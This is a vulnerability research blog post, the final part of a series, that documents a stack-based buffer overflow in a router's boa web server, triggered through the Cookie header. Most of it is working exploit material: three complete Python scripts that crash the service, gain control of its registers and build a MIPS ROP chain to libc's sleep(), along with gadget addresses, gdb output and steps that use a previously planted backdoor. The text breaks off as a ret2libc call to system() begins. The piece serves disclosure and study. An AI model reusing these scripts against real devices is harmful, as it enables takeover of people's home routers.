Introduction

Hello everyone and welcome to the last part of this blogpost series. As a reminder, we identified and presented different 0days in the previous articles:

This time, we’ll get straight the matter by presenting a memory corruption (Stack Based Buffer Overflow with ASLR bypass) discovered when we were trying to understand how the parsing of asp files was implemented in the boa binary (/userfs/bin/boa).

To exploit the target, we had to set up some debug, which we were able to do thanks to a shell obtained via the previous vulnerabilities.

Let’s check the security mechanisms implemented on the binary:

alt-text

Debug

On our host, we set up an HTTP server with a debugger ready to be downloaded.

python3 -m http.server

Then, we connect ourselves to the router via the backdoor we had previously installed.

rlwrap nc 192.168.1.1 23

And place the debugger on the target.

wget http://192.168.1.2:8000/gdbserver -o /tmp/gdbserver && chmod +x /tmp/gdbserver

On the target

To debug the binary boa, just use the following commands:

/tmp/gdbserver --attach 192.168.1.1:1337 $(ps|grep boa|grep -v grep|cut -d " " -f 1)

This command attaches the debugger to the process of interest.

cat /proc/$(ps|grep boa|grep -v grep|cut -d ' ' -f 1)/maps|grep "/lib/libc.so.0"|grep xp

This command is used to find where the libc was mapped in memory.

On the host

To debug the remote use the following command:

gdb boa
(gdb) target remote 192.168.1.1:1337
(gdb) set follow-fork-mode child

First crash

The objective is to verify the exploitability of the vulnerability by crashing the process and inspecting the registers modified by the payload.

We developed the script trigger_0.py to crash boa’s child process after calling the fork() function.

File: trigger_0.py

# The purpose of this script is to demonstrate that, after forking, the child
# process of boa crashes when it tries to parse the Cookie header within the
# HTTP request.
import socket


# Let's generate a cyclic pattern using the following tool:
# - https://wiremask.eu/tools/buffer-overflow-pattern-generator/
PAYLOAD = bytearray(
    b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
    b"Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7" + \
    b"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1" + \
    b"Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5" + \
    b"Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" + \
    b"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3" + \
    b"Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" + \
    b"Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1" + \
    b"At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5" + \
    b"Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9" + \
    b"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3" + \
    b"Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7" + \
    b"Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1" + \
    b"Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" + \
    b"Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9" + \
    b"Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3" + \
    b"Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7" + \
    b"Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1" + \
    b"Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5" + \
    b"Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9" + \
    b"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" + \
    b"By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7" + \
    b"Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1" + \
    b"Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5" + \
    b"Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" + \
    b"Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3" + \
    b"Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7" + \
    b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)


# We prepare the HTTP request.
request  = b""
request += b"GET / HTTP/1.1\r\n"
request += b"Host: 192.168.1.1\r\n"
# we inject our payload into the Cookie header.
request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
request += b"\r\n\r\n"

# We connect ourselves via a TCP connection to the router's listening port (80).
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect(("192.168.1.1", 80))
# HTTP request is sent to the target.
fd.send(request)

This generates a crash that allows us to explore the contents of the registers.

(gdb) c
Continuing.

Program received signal SIGBUS, Bus error.
0x6a30426a in ?? ()
(gdb) info reg
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 181020e1 ffffffff 0000004b 7f996b00 00000001 00dc8e18 00000010 
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000011 2b721668 00000001 fffffff8 00000025 fffffffc 0000002a 0000006d 
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  68384268 39426930 42693142 69324269 33426934 42693542 69364269 37426938 
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000030 00000000 7f996934 00000000 0045f6d0 7f9970d8 42693942 6a30426a 
        status       lo       hi badvaddr    cause       pc
      01000313 3141a400 00000755 6a30426a 10805010 6a30426a 
          fcsr      fir      hi1      lo1      hi2      lo2      hi3      lo3
      00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
        dspctl  restart
      00000000 00000000 

Then we checked the registers we manage to control by identifying markers (to determine offsets) for controlling registers.

>>> chr(0x68)+chr(0x38)+chr(0x42)+chr(0x68)
'h8Bh'

This gives us the following table of markers.

s0 s1 s2 s3 s4 s5 s6 s7 s8 sp ra
68384268 39426930 42693142 69324269 33426934 42693542 69364269 37426938 42693942 7fbedd58 6a30426a
h8Bh 9Bi0 Bi1B i2Bi 3Bi4 Bi5B i6Bi 7Bi8 Bi9B 0x7fbedd58 point to 0x31426a32 = 1Bj2 j0Bj

Second crash

Once we’ve identified the registers, we need to take control of them. We therefore developed the following script:

File: trigger_1.py

# This script highlights the fact that we are capable of controlling the value
# stored in almost all registers.
import socket


# Let's generate a cyclic pattern using the following tool:
# - https://wiremask.eu/tools/buffer-overflow-pattern-generator/
PAYLOAD = bytearray(
    b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
    b"Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7" + \
    b"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1" + \
    b"Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5" + \
    b"Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" + \
    b"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3" + \
    b"Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" + \
    b"Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1" + \
    b"At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5" + \
    b"Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9" + \
    b"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3" + \
    b"Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7" + \
    b"Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1" + \
    b"Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" + \
    b"Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9" + \
    b"Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3" + \
    b"Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7" + \
    b"Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1" + \
    b"Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5" + \
    b"Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9" + \
    b"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" + \
    b"By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7" + \
    b"Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1" + \
    b"Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5" + \
    b"Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" + \
    b"Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3" + \
    b"Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7" + \
    b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)

# This dictionary stores markers allowing us to determine the offset allowing us
# to control each register.
TRIGGERS = {
    "s0": b"h8Bh", "s1": b"9Bi0", "s2": b"Bi1B", "s3": b"i2Bi", "s4": b"3Bi4",
    "s5": b"Bi5B", "s6": b"i6Bi", "s7": b"7Bi8", "s8": b"Bi9B",
    "sp": b"1Bj2",
    "ra": b"j0Bj"
}

# This dictionary stores the offsets allowing us to control the value stored in
# each register.
INDEXES = {
    "s0": PAYLOAD.find(TRIGGERS["s0"]), "s1": PAYLOAD.find(TRIGGERS["s1"]),
    "s2": PAYLOAD.find(TRIGGERS["s2"]), "s3": PAYLOAD.find(TRIGGERS["s3"]),
    "s4": PAYLOAD.find(TRIGGERS["s4"]), "s5": PAYLOAD.find(TRIGGERS["s5"]),
    "s6": PAYLOAD.find(TRIGGERS["s6"]), "s7": PAYLOAD.find(TRIGGERS["s7"]),
    "s8": PAYLOAD.find(TRIGGERS["s8"]),
    "sp": PAYLOAD.find(TRIGGERS["sp"]),
    "ra": PAYLOAD.find(TRIGGERS["ra"]),
}


# This function allows us to define the value stored in a register.
def set_register_value(register, value):
    PAYLOAD[ INDEXES[register] : INDEXES[register] + 4 ] = value


set_register_value("s0", b"AAAA")
set_register_value("s1", b"BBBB")
set_register_value("s2", b"CCCC")
set_register_value("s3", b"DDDD")
set_register_value("s4", b"EEEE")
set_register_value("s5", b"FFFF")
set_register_value("s6", b"GGGG")
set_register_value("s7", b"HHHH")
set_register_value("s8", b"IIII")
set_register_value("sp", b"JJJJ")

set_register_value("ra", b"KKKK")


# We prepare the HTTP request.
request  = b""
request += b"GET / HTTP/1.1\r\n"
request += b"Host: 192.168.1.1\r\n"
# we inject our payload into the Cookie header.
request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
request += b"\r\n\r\n"

# We connect ourselves via a TCP connection to the router's listening port (80).
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect(("192.168.1.1", 80))
# HTTP request is sent to the target.
fd.send(request)

Which gave us the following result in gdb:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x4b4b4b4b in ?? ()
(gdb) info reg
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 18102088 ffffffff 0000004b 7fa44450 00000001 00a58e18 00000010 
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000011 2b28f668 00000001 fffffff8 00000025 fffffffc 0000002a 0000006d 
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  41414141 42424242 43434343 44444444 45454545 46464646 47474747 48484848 
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000030 00000000 7fa44284 00000000 0045f6d0 7fa44a28 49494949 4b4b4b4b 
        status       lo       hi badvaddr    cause       pc
      01000313 632d3600 0000083b 4b4b4b4a 10805008 4b4b4b4b 
          fcsr      fir      hi1      lo1      hi2      lo2      hi3      lo3
      00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
        dspctl  restart
      00000000 00000000 

And allows us to update the previous table.

s0 s1 s2 s3 s4 s5 s6 s7 s8 sp ra
41414141 42424242 43434343 44444444 45454545 46464646 47474747 48484848 49494949 7fd664a8 4b4b4b4b
AAAA BBBB CCCC DDDD EEEE FFFF GGGG HHHH IIII 0x7fd664a8 point to 0x4a4a4a4a = JJJJ KKKK

Exploit part 1, let’s call libc’s sleep()

We then chose to exploit this vulnerability by creating a ROP chain and started (which turned out to be a waste of time) to develop a ROP chain to trigger a call to libc’s sleep() function, as the underlying processor was of MIPS architecture and we thought we’d have to manage cache cohesion (which turned out to be unnecessary).

objdump -D libc.so.0|grep sleep
0000df20 <__libc_nanosleep>:
    df44:	10e00007 	beqz	a3,df64 <__libc_nanosleep+0x44>
0005e500 <sleep>:
   5e530:	14800005 	bnez	a0,5e548 <sleep+0x48>
   5e538:	10000075 	b	5e710 <sleep+0x210>
   5e540:	10000002 	b	5e54c <sleep+0x4c>
   5e554:	0461fffa 	bgez	v1,5e540 <sleep+0x40>
   5e578:	04400063 	bltz	v0,5e708 <sleep+0x208>
   5e598:	1440005b 	bnez	v0,5e708 <sleep+0x208>
   5e5b0:	14400045 	bnez	v0,5e6c8 <sleep+0x1c8>
   5e5bc:	10000002 	b	5e5c8 <sleep+0xc8>
   5e5d0:	0461fffc 	bgez	v1,5e5c4 <sleep+0xc4>
   5e5e8:	04400047 	bltz	v0,5e708 <sleep+0x208>
   5e604:	0441000f 	bgez	v0,5e644 <sleep+0x144>
   5e63c:	10000033 	b	5e70c <sleep+0x20c>
   5e654:	14430013 	bne	v0,v1,5e6a4 <sleep+0x1a4>
   5e69c:	10000010 	b	5e6e0 <sleep+0x1e0>
   5e6c0:	10000003 	b	5e6d0 <sleep+0x1d0>
   5e6e0:	1240000b 	beqz	s2,5e710 <sleep+0x210>
   5e700:	10000003 	b	5e710 <sleep+0x210>
0005ed00 <usleep>:

Because in this version of libc, the offset of sleep() contains a null byte, we had to use an offsetted version (by an offset relative to the gadget used) of the function so that our payload (HTTP request) would not contain a null byte.

Gadget 1: 0x0002a3d8

addiu $a0, $zero, 0x17;              # a0 = 0x17 = 23
lw $ra, 0x24($sp);                   # ra = sp+0x24
lw $gp, 0x18($sp);                   # gp = sp+0x18
jr $ra;                              # jr ra
addiu $sp, $sp, 0x28;                # sp = sp+28

Gadget 2: 0x00033210

move $t9, $s1;                       # t9 = s1
addiu $a1, $s0, 0x3940;              # a1 = s0+0x3940
jalr $t9;                            # jalr t9
addiu $a2, $zero, 0x18;              # a2 = 0x18

Gadget 3: 0x00047c0c

move $t9, $a1;                       # t9 = a1
move $a1, $a2;                       # a1 = a2 = 0x18
jr $t9;                              # jalr t9
addiu $a0, $a0, 8;                   # a0 = a0 + 8

File: exploit_0.py

import socket


# Let's generate a cyclic pattern using the following tool:
# - https://wiremask.eu/tools/buffer-overflow-pattern-generator/
PAYLOAD = bytearray(
    b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
    b"Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7" + \
    b"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1" + \
    b"Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5" + \
    b"Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" + \
    b"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3" + \
    b"Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" + \
    b"Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1" + \
    b"At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5" + \
    b"Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9" + \
    b"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3" + \
    b"Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7" + \
    b"Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1" + \
    b"Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" + \
    b"Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9" + \
    b"Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3" + \
    b"Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7" + \
    b"Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1" + \
    b"Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5" + \
    b"Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9" + \
    b"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" + \
    b"By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7" + \
    b"Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1" + \
    b"Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5" + \
    b"Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" + \
    b"Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3" + \
    b"Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7" + \
    b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)

# This dictionary stores markers allowing us to determine the offset allowing us
# to control each register.
TRIGGERS = {
    "s0": b"h8Bh", "s1": b"9Bi0", "s2": b"Bi1B", "s3": b"i2Bi", "s4": b"3Bi4",
    "s5": b"Bi5B", "s6": b"i6Bi", "s7": b"7Bi8", "s8": b"Bi9B",
    "sp": b"1Bj2",
    "ra": b"j0Bj",
    "next_ra": b"3Bk4"
}

# This dictionary stores the offsets allowing us to control the value stored in
# each register.
INDEXES = {
    "s0": PAYLOAD.find(TRIGGERS["s0"]), "s1": PAYLOAD.find(TRIGGERS["s1"]),
    "s2": PAYLOAD.find(TRIGGERS["s2"]), "s3": PAYLOAD.find(TRIGGERS["s3"]),
    "s4": PAYLOAD.find(TRIGGERS["s4"]), "s5": PAYLOAD.find(TRIGGERS["s5"]),
    "s6": PAYLOAD.find(TRIGGERS["s6"]), "s7": PAYLOAD.find(TRIGGERS["s7"]),
    "s8": PAYLOAD.find(TRIGGERS["s8"]),
    "sp": PAYLOAD.find(TRIGGERS["sp"]),
    "ra": PAYLOAD.find(TRIGGERS["ra"]),
    "next_ra": PAYLOAD.find(TRIGGERS["next_ra"])
}

# This dictionary contains the offsets of the gadgets useful for the ROP chain
# within the libc.
GADGET_OFFSETS = {
    1: 0x0002a3d8, # 0x0002a3d8: addiu $a0, $zero, 0x17; lw $ra, 0x24($sp); lw $gp, 0x18($sp); jr $ra; addiu $sp, $sp, 0x28;
    2: 0x00033210, # 0x00033210: move $t9, $s1; addiu $a1, $s0, 0x3940; jalr $t9; addiu $a2, $zero, 0x18;
    3: 0x00047c0c, # 0x00047c0c: move $t9, $a1; move $a1, $a2; jr $t9; addiu $a0, $a0, 8;
}

# 0005e500 <sleep>:
# The address of the libc's sleep() function being at an offset containing a
# null byte, we use a shifting technique to get around the problem.
SLEEP_OFFSET         = 0x0005e500
SHIFTED_SLEEP_OFFSET = SLEEP_OFFSET - 0x3940


# This function allows us to define the value stored in a register.
def set_register_value(register, value):
    PAYLOAD[ INDEXES[register] : INDEXES[register] + 4 ] = value


# We get the libc base address.
libc_base_address = int(input("Enter libc base address:\n> ").replace("0x", ""), 16)

# We recalculate the gadget addresses using the libc base address.
gadgets = {}
for i in GADGET_OFFSETS:
    print(f"[*] Gadget {i} offset: {hex(GADGET_OFFSETS[i])}")
    gadgets[i] = hex(libc_base_address + GADGET_OFFSETS[i])
    print(f"[*] Gadget {i} is at address: {gadgets[i]}")
    gadgets[i] = bytearray.fromhex(gadgets[i].replace("0x", ""))

# We recalculate the address of the sleep() shifted function.
print(f"[*] sleep() offset: {hex(SLEEP_OFFSET)}")
sleep = hex(libc_base_address + SLEEP_OFFSET)
print(f"[*] sleep() is at address: {sleep}")
shifted_sleep = hex(libc_base_address + SHIFTED_SLEEP_OFFSET)
print(f"[*] shifted sleep() is at address: {shifted_sleep}")
shifted_sleep = bytearray.fromhex(shifted_sleep.replace("0x", ""))

# This wait allows us to define breakpoints in the debugger.
wait = input("Press enter to continue ...\n")

set_register_value("s0", shifted_sleep)
set_register_value("s1", gadgets[3])

set_register_value("ra", gadgets[1])
set_register_value("next_ra", gadgets[2])

# We prepare the HTTP request.
request  = b""
request += b"GET / HTTP/1.1\r\n"
request += b"Host: 192.168.1.1\r\n"
# we inject our payload into the Cookie header.
request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
request += b"\r\n\r\n"

# We connect ourselves via a TCP connection to the router's listening port (80).
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect(("192.168.1.1", 80))
# HTTP request is sent to the target.
fd.send(request)

Exploit part 2, let’s call libc’s system()

After identifying this second ROP chain for calling the system() function while controlling the first argument, we realized that when we exploited the bug using a Ret2Libc-type technique (putting sp in a0 and calling system()), there was no need to manage cache cohesion, despite this being stipulated in numerous articles over the Internet.

objdump -D libc.so.0|grep system
0004683c <svcerr_systemerr>:
00059bb0 <__libc_system>:
   59be4:	10800063 	beqz	a0,59d74 <__libc_system+0x1c4>
